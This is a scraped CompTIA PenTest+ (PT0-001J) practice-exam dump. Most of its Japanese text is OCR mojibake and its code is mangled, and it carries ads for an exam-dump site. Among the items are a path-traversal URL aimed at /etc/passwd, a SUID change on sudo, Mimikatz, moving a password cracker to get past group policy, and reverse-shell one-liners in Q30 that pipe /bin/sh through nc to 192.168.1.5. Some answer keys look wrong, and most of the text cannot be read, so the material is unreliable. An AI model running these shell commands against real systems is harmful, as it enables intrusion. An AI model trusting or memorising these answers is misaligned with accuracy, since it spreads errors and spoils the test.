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QUESTION NO: 1

NEBRBATAZ—OTANIFUF

RENL=23VTARETZYTRY TANONEBENBT I RAZBEBLET,

Sy 7Ry 7ROJA2LTVETFOYIENTVET,

RDSIEENDNTINAAD SERBREHMHETIEOOEBEENBZROATYTTIA?
A. Brute force the user's password.

B. Perform an ARP spoofing attack.

C. Leverage the BeEF framework to capture credentials.

D. Conduct LLMNR/NETBIOS-ns poisoning.

Answer: A

QUESTION NO: 2

RENL=23A2VFTFAZDN ALY FICRLUTARPRAT =7 4 T RE{ITLTVET, BAT
ARNEHEE, MOSTIEHRZAFIBZLHICREITIHNEN HBDDREENTIH ?
ADZAT>NOMACT RL A

B.RXA>2A>MNO—ZOMACT RL A

C.WebH—/NOMACT RL A

D.7*—RJIADOMACT7 RL A

Answer: D

QUESTION NO: 3

BATARNEHENSSHTRY RT—VZAF T LTHY, BHEIATVBEX—TY RO
DARZFH>TVET, RONmapdXY ROENZTANBHEENf FERINETTHL ?

A. nmap -p 22 -iL targets

B. nmap -p 22 -sL targets

C. nmap -p 22 -0G targets

D. nmap -p 22 -0A targets

Answer: A

QUESTION NO: 4

EEMHEAF ¥ ik, MTTPSBLRUOHTTPZ’ ORI ZN L EEHEZZTANDRITT VT
—23VZEKRARMLTVD RXSVICRULTRITENE T, ROBERNIFBSIhET,
*SSUBNHR—RENTVET

*HSTSREREE N TVERHEA

*P7)r—>23a B FBUVEBSEFERALET

DOy FTICHL THEES
RDSEENDNBRESGVWIARAITTI U IFHENBIXNETTH ?
ASSLV3NHR—RENTVET

B.HSTSEEEhTVEREA

CT7UTr—>aridiBhopherszERALET

D.OUY O Y YFTICRL THH

Answer: B

QUESTION NO: 5
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REML=23VFAEZ—RBFANERZFCEL, BEHEXOEBMZEBLET. RXKL
—2AVFARAE=NEALTVWBRY =Y )T VDT IVIFEFRDSEENTTH,
A.ZfH

B.EER

CRYWITHRL

DAET 749>y

Answer: B

QUESTION NO: 6

ROANY RIEFELINUX7 ZA I AT ALATRITENET,
Chmod 4111 / usr/ bin / sudo
ROBEDOSEENNSERAETND AU HYVETH?
A H—FI ORI

BATAYF—EVY K

CEIA®BELOY—EANA

D.sudoMEZE X

Answer: B

QUESTION NO: 7

RENL=23VFAE—R. 75THFOURLICKDEREZADLEL I,
https://www.example.com/login.php?file=../../../../..]..]..Ietc/passwd

H—N—, T —N—OHEZEF—ZTT7TAILICEENTVERTF—RXTIHELELE, RDOZ
A7ORFENSSE, HREEBEAThDIUEEIGVORRENTIH, ?

A FVERIFR

B.i & REE

CTFA4LINIURNZN=TI

DOANVRADI VI

Answer: C

QUESTION NO: 8
RENL=23VFTAEZ—. XV ETUTZERITLETD,
2. LTEE S

corp/username%password

corp/John Doe%password

corp/Jane Doe %password

command:

for i in 5 {cat a.txt); do echo $i; done | wc -1
RDSBEENNRENETH?

A.1

B.3
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C.5
D.6
Answer: B

QUESTION NO: 9
RENL=23VFTAEFVDAVYLAARZTI7HSOROH I ZHELTVET,

ESSID BSSID ENCRYPTION |[CHANNEL |(WPS
Guest AD:1F:-AB:10:33:78 OPEN 6 N
Secure AD:1F-AB:10:33:79 WPAZ-PSK b N
Dev AD:1F:AB:10:33:70 WPAZ-ENT 11 N

RDSEENDN LEDBBRDPSHETDENTEEXRTH ?
AN—RIITFTRUA

B.F¥ v XL T

Cl1—%—=

D.¥—MNidE

Answer: C

QUESTION NO: 10
BATANEBHERZ, HNFORBEAF Y ORICRAOEZBELEL L.

Vulnerability Ports
Multiple unsupported versions of Apache found 80,443
SSLv3 accepted on the HTTPS connections 443
Mod_rewrite enabled on Apache servers 80,443
Windows Server 2012 host found 21

ROBREBHEDS EENN LREOAF Y U ERNSBEEChBIRNETITHL?
ABRENOY 7N I ITPICEERATELZDVAR—XRFEFNATVSAEMN B ET
BEVWNAT—REBFENRAETNATVSAEENH D
CESMICSBEVORIINEZIETND AN B ET

D.WebH—/N—DREICK V) BEBFHRA TR I D AREENDYET

Answer: C

QUESTION NO: 11

BRATANEEHEN, Z—T YR ATLIRL TERORBEUEAF ¥ 2RTLEL .
TLTFVOFYLAF Y VICEBEDEDRERDSEENTI N,
ARESEEDOERNRONVERLE

B.EFMZY—EABK

CNYFEhTVWEWY—RN=FAYTKRTITT

D.5V\WT U AFIHE X

Answer: A

QUESTION NO: 12
BATAZ—F, ITEHAODXN—&T A9V TFTDEIEL2T, BIOVPNI—H—
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RXADERBEREMBIDCENTEERLE, TOER, BATANEHERGFVPNERT
NV 1ZEBL, FEREBEZFALTEIhSZHREICOTYILELE, ROEEFIED
SEENZHEBOLETH ? (3D2EFER)
A2EEBICEFIVUT1OERBLENL —Z2 T 28BHF T3
BUE—RNRT7IVELARAIC2ERFAZEETS

CERAMLESATLZAAN=ILTS

DINATD—ROEMEDERZEPXLET

EEXx1 VT ABHRARNERYVI—232FA4A A =IILLTLEE L,
FATHPOXN—NEBEEL THENICOIJA O TEBRVWRSICTS

GVPNY 1= 3 IlERAENTVWBABESASN—NETYTIL—RTB

Answer: AD,G

QUESTION NO: 13

BATANELEDJoeldk, BEXRMNABETHO MRAHEHRZZ(TEHY) . Windows> AT Al
J4UL&ELE,

BORBEZILRTRDEHIC, BRERXOSEEND SERZEEB TS LEHICMimikatzZERAL
TVWEITH?

A. LSASS

B. SAM database

C. Active Directory

D. Registry

Answer: C

QUESTION NO: 14
AVTSATYACEIKHEARBIDRIC, REEESEZREBEIENTT A,
AEMEIE

B.&HM At

C.iEEM

D.¥%E

Answer: D

QUESTION NO: 15

B
Od—REIAVRNZDHLT, R—RNAFY ROV NERTITDEHICHERESS T
VERELET,

BYAERZELWEMICRZYILT, RATUTRNEEREEET,

SXa1L—2a olBRECRELEVEERE. WOTE[IXNTUERY NREZIDY
J0LTLKEZ W,

REMNL=232FAMRE, A=AV R—TIAANFHRENEZATLAILTIEA
TEET., cOXZUE, R—PMAFY U 2Z2HLIDRBMENIERY ND—DICT O EAT
EBLDTT,

PT0-001J exam materials, PT0-001J certification, PT0-001J exam
https://itexams.lead2passed.com/CompTIA/PT0-001J-practice-exam-dumps.html



https://itexams.lead2passed.com/CompTIA/PT0-001J-practice-exam-dumps.html

exac scan(sys.argv([l], SPORTS}
port_scan{sys.argv[l], ports)
export SPORTS = 21, 22
salf .ports |
toy:
s.connect | (1p, port)}l
print (“%¥=s:%=s — OPEN" % (ip, port))

axcept socket.timeout
print{"%s:53 - TIMECUT” % (ip, port))

except socket.error as e:
print (“%¥=:%= - CLOSED" % (ip, port))

finally:

s.closall

for $PORT in SPORTS:
try:
s.connact | (ip, portl)
print{“%=s:%s — OPEN" % (ip, port))

except socket.timsout
print (*%s:58s - TIMEODTY % (ip, port))

Bxcaepnt sackat . 8rrar as &
print (“%¥=s:%s — CLOSED” % (ip, port))

finally:
s.closa ()

#l/uar/bin/python

#! /usr/bin/ruby

portes = [21, 22]
run_=scanfays. argv(i], portal
#1/usr/bin/bash

{:ports =»> 21 :ports =» 22}

for port in ports: if name =

Erys
. cannaect | |:i:_'p.. poEL]l )
print (“%s5:%5 — OPEN

requires & targe address.

¥ (ip, port))

except socket.timsout
print(®%s:5s - TIMEOUT" % {(ip, port)}

except socket.error as e:
print(“ks:%=s - CLOSED" &% {ip, port))

£inally:
z.close()

Answer:
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exac scan(sys.argv(l], SPORTS}
port _scan{sys.argv[l], ports)
export SPORTS = 21, 22
salf .ports {
toy:
s.connect | (1p, port)l
print(“%#=:%=s — OPEN" % (ip, port))

axcapt socket.timeout
print{"%s5:5s - TIMECUE” % (ip, port))

except socket.error as e:
print (“%¥=:%= - CLOSED" % (ip, port))

finally:

s.closall

for $PORT in SPORTS:
try:
=.connact | (ip, portl)
print{“%s:%s — OPEN" % (ip, port))

except socket.timsout
print (“%s:8= TIMECUTY % (ip, port))

axcept socket.error as &
print (“%¥=s:%s — CLOSED” % (ip, port))

finally:
s.closa ()

#1/nar/bin/python
#! /usr/bin/ruby
porte = [21, /23]
run_=scaniays. argv(i], portal
#1/usr/bin/bash
{:ports =»> 21 :ports =» 22}
for port in ports:
try:
. cannect | |:ip.. poELl )
print (V%s:%5 — OPEN” % (ip, portl)

sxcept sockeb.timsout
print(®%s:5s - TIMEOUT" % {(ip, port)}

except socket.error as e:
print(“ks:%=s - CLOSED" & {ip, port))

Finally:
z.cloge()

QUESTION NO: 16

#l/usr/bin/python

def p

far port ih porte:
try:
£.cormect | (ip, pPoEL))
print (“%s:%s — OPEN" % (ip, port))

except socket.timsout
print{™%s:5s - TIMEOUT” % (ip, port))

except socket.error as &:
print (*%o:%s - CLOSED” % {ip, poxrt})

£finally:

=2.close()

' main f:

3t IF address.

run seaniays. argu(l ports)
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RIAGBEERATARNENER S TRIHE. IROBEOATLERDZENVDEREZER
BITREHIC, ROREZEHEOENEEHILEN HYEITH?
AGRLAR—RNTRETNATVBEBENRERERICE. BAERIHEEENTLVELEA,
B.NDAW:, ERARELLEFEICAVHILT AV IQHEFTROBEENSHRELET,
CiHMATK, TAN—F—OHFEEITATUORNORY ND—VDREEEBREEZHER
=L L,

D.EATANKE, FHMABO AT LADREEZOBRICEIVWTVET,

Answer: D

QUESTION NO: 17

BB, BREhEFNAALOIXNTOTCPRY RZAF Y+ LEVEZEATVWET, X
ONMap ALY FDENDNCDRATVEZETLETH ?

A.-p-

B.-p ALX,

C.-p 1-65534

D.-’R— ~1-65534

Answer: C

QUESTION NO: 18

BATAZ—RFARXOOX RZ2EFTLET,

C:\>%userprofile%\jtr.exe

This program has been blocked by group policy

C:\> accesschk.exe -w -s -q -u Users C:\Windows

rw C:\Windows\Tracing

C:\>copy %userprofile%\jtr.exe C:\Windows\Tracing
C:\Windows\Tracing\jtr.exe

jtr version 3.2...

jtr>
REENFFMALTVAO-NILKRANDOREERFRDSIEENTITH ?
AZLTEVT 7 A4 )LHER

BF77V7Tr—>3>oRIT4RIAR

COINIRT—T

D.EEAXARER Y —ER

Answer: A

Explanation:

References https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#john-the-ripper--
-jtr

QUESTION NO: 19

Nmap

NSERAF+> D&, EF1VF4OHIILERME. RAMNODAF Y RIC—BEHOBEVE
RZBFIFLTVET, ADS55, REARMOSVWERBEENTTAH ?

AT—EAGFUY A LTVWEREA
BXYRND—VEBENY—EREYYRNEIDVLELL
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CRANICEETEEBATLE
D.77ATI#—=)L/IPSHAF¥>#7OYILFLE
Answer: D

QUESTION NO: 20

MITMBEENSTEENTVET, ZEHORATY 7., flHlchETFNA AZHmNn3EHREZE
BIBCETT, ChZENTRILEHICFEATILENHDORROSEENTITAH?
A#EVYIRL

B.U#—RZA4E>Y

C.IBEZXNF

D.7IIN—vv Yy

EV7 LA ME

Answer: C

QUESTION NO: 21
SEICAHENLERDPSOBATANDOESICIZAT N ZEETETVWAHE, EDX
ADBRNDNSTTATUNIE>TREEELZDORE., ENTTH,
ABREAERZROEHA

B.NDA& MSA

C.SOWE B#kEmeE

DUARIVHIV—EITEITA4THI)—

Answer: C

QUESTION NO: 22

BB, REENfF ABOY—N—1EI X NCRGERES ZENTENESH ZHMTS I
HIZ, BATAMDERTZERLE Lz, FHMAFIC, BATAZ—R, UBIOKEIZKST
B)ERENEBEDINDY—ILERELET, RRXNL—2IDFTAE—RROT O3>
ERTIIHENHYVEITH?
AXGMZERBREITRLEHICERYOY—IILEFERALRISELET
BEYWERENLEY—IOFEZLAR—NIERL, TARMZHEITLET
CTARZHRITTDAIC, HEZZTRDATANSY—IIZHIBRLET
D.ENULEDTANZRILEL, RAZFEEICHRETS

Answer: B

QUESTION NO: 23
RENL—=232FTAEZ—E, ROMEHEEEZRELEL L,

Vulnerability Impact
Stored XSS Server successfully reflected a malicious script
SQL injection Leaks sensitive information such as PlII

Verbose server headers | Leaks web server and version information

Unrestricted file upload | Allows the tester to upload any malicious file

PT0-001J exam materials, PT0-001J certification, PT0-001J exam
https://itexams.lead2passed.com/CompTIA/PT0-001J-practice-exam-dumps.html



https://itexams.lead2passed.com/CompTIA/PT0-001J-practice-exam-dumps.html

Excellent PT0-001J Test Torrent is of Great Significance for You

REEENBFEZZEBL T, BREUZERNSEETTHMIZELVIEFEFIDSEEN
TIH?
AEBEIRODT77A4AINTY7O—R, RESHNEXSS, SQLA/>>xov>3a>, iRY—/N—
ANY S —
BSQLA>>xIoviar, BHROT77AINT Y 7O—R, REES XSS, iR —/\—
AY S —

CEHBY—N—AYE— EHROT77AITY7O0—R, RESNEXSS, SQLS >
o3z

D.RTFENEXSS, SQLA>r>xov>ar, BEHBROT7 74Ty 70—RKR, iR&Y—N
—AY a'_

Answer: B

QUESTION NO: 24

RENL—=YIVFARE—F. F77A4T9F=)I—=ILOUAREFSRILEZY ND—5FK
EREHELTVZBRELOZNZFAELTVET, ROTARMOENN COTF—REZHBEEL
FIN?

AXRY ND—=0dXF7F—23a>FARN

B.XY NJ—URATAM

CRYND—UMHEERAF ¥

D.XY ND—IOR—ASATABM

Answer: A

QUESTION NO: 25
RNDBESTOSSE, LAVAR—FT—TIIRENSHREITDORENTITA?
D18912E1457D5D1DDCBD40AB3BF70D5D
ANATD—ROEMEHNET

B. X FREE St

C.EEFIEE T

D.i&{bE N i=OSHER

Answer: A

QUESTION NO: 26
ROXEDSE, X1V T 41BN EHE D FEERELL
h?

A.BIA

B.SOW

C.SLA

D.MSA

Answer: A

HALTWADORENTT

QUESTION NO: 27

SATLEFIVTFAIVDZTR., W O2AOHLWFTUTr—23a>otf1 )7 15F
MZzREITZIEBELTVET, 77UT—232@, JARV7AIILD&ZEECEY hEL
TIVPZTIERHENELE, ChoOT 7V T—23>0RBBEICET I IEHZINE
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TRLEHOOREFMERTERF, ROSEENTIH?

AT77Vr—>a>zR8L, 77200 FTARNZECEHNY 7NV I TomY —IILZER

LET

BJARZ7ALYRNTEBNI—RT7FSAF—Z2FEALT. - RREOXMRZHRLET

CT7Vr—>2a> a0 NAILTY—AD—RZHBEL, FETHERELET

DO—RETFTVT—2aVIIFORINEBREITDEHICERAENBIABREOFMHELRFZ
R lLET

Answer: A

QUESTION NO: 28

RENL—=23VTAEZ—HNWebR—ADRTERT ST —>3 IR/ LTT TV ORY
DAFEZERITLTVET, TAZ—ICRATA R—=JAOURLO AT hEL 1,
LTnd—RZABDL T, BeautifulSouph 5D A VR—KREBRZAR—KNLTLEEL,
BeautifulSoup request = requests.get (

"https://www.bank.com/admin" ) respHeaders. respBody = request [0].
respHeader.statuscode == 200D HF &k, [11ZERL T,

soup = BeautifulSoup ( respBody )

soup = soup.FindAll ( "div". ( "type" : "hidden") ) )

respHeaderZ ElJ#l L £ 9, StatusCode. StatusMessage

ThANDIEE

respHeaderZ FIJ§|L £ 9, StatusCode. StatusMessage

5 : 200 OK

TAR—BFROSBEENZTDDEYTITH?

AERZKFHZEICIEKRT S

BRELZA—ILROR=DENEED

CHTTPL AR AO— RZ @M TS

D.HTTPAY A ZREKRT S

Answer: B

QUESTION NO: 29

RDOIAX Y RO E N Metasploit F—EZR—AZREILETAH ?

A.msfconsole

B.O—UAR—A

C.msfvenom

D.db_init

E.db_connect

Answer: A

Explanation:

References: https://www.offensive-security.com/metasploit-unleashed/msfconsole/

QUESTION NO: 30

Web7 7)o —> 3> OfHEiHIC, RATAMNEHEFEEOIONY R —/N—LETEIT
EhDHAEMNI BB CEZRRELELL, CORBEESSIC—FEDLEZVERV, RATA
Z—F, 19216815 THEADNZ VICUN—AS INERIFEZERRBELBHE T, A
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BEBFERFRDSEENTTHL ? (22FER)

A.nc 192.168.1.5 44444

B.nc -nlvp 4444 -e / bin / sh

C.rm / tmp / f; mkfifo / tmp / f;38/ tmp / f | / bin / sh -1 2> & 1 | nc 192.168.1.5 44444> [ tmp / f
D.nc-e/ bin/sh 192.168.1.5 4444

E.rm / tmp / f; mkfifo / tmp / f;3#/ tmp / f | / bin / sh -1 2>& 1 | nc 192.168.1.5 444444> | tmp / f

F.rm / tmp / f; mkfifo / tmp / f;3&/tmp / f | / bin / sh -1 2> &1 | nc 192.168.5.1 44444> | tmp / f
Answer: D,F
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